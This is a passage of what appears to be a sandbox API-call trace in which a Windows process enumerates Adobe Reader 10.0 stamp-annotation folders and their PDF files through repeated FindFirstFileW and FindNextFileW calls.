ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0226.437] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff28600, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.437] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x132cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0226.437] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0226.438] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1182b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0226.486] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x322cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0226.486] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x322cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0226.486] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0226.487] GetProcessHeap () returned 0x550000 [0226.487] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0226.487] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CZE", cAlternateFileName="")) returned 1 [0226.487] GetProcessHeap () returned 0x550000 [0226.487] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0226.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CZE\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0226.524] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80731040, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.524] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0226.524] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0226.524] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb7dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0226.524] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5274b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0226.524] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c339, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0226.524] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0226.525] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80731040, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15c7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0226.525] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0226.526] GetProcessHeap () returned 0x550000 [0226.526] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0226.526] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DAN", cAlternateFileName="")) returned 1 [0226.526] GetProcessHeap () returned 0x550000 [0226.526] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0226.526] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0226.557] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.557] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe6d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0226.557] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9306, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0226.557] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18757, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0226.557] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18757, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0226.557] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0226.558] GetProcessHeap () returned 0x550000 [0226.558] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0226.558] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEU", cAlternateFileName="")) returned 1 [0226.558] GetProcessHeap () returned 0x550000 [0226.558] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0226.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.563] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7fedc340, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.564] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcadf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.564] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.564] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.564] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x178c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.564] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.564] GetProcessHeap () returned 0x550000 [0227.564] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.565] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0227.565] GetProcessHeap () returned 0x550000 [0227.565] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ENU\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.597] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fedc340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff024a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.597] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xdf82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.597] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff024a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9f16, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.598] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 1 [0227.598] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fedc340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="STANDA~1.PDF")) returned 0 [0227.598] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0227.598] GetProcessHeap () returned 0x550000 [0227.598] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2600098 | out: hHeap=0x550000) returned 1 [0227.598] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0227.598] GetProcessHeap () returned 0x550000 [0227.598] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2600098 [0227.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ESP\\*", lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0227.634] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ff4e760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ff4e760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.634] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0227.635] FindNextFileW (in: hFindFile=0x639808, lpFindFileData=0x2cee0f0 | out: lpFindFileData=0x2cee0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff4e760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0227.635] FindNextFileW (in: hFindFile=0x639808, 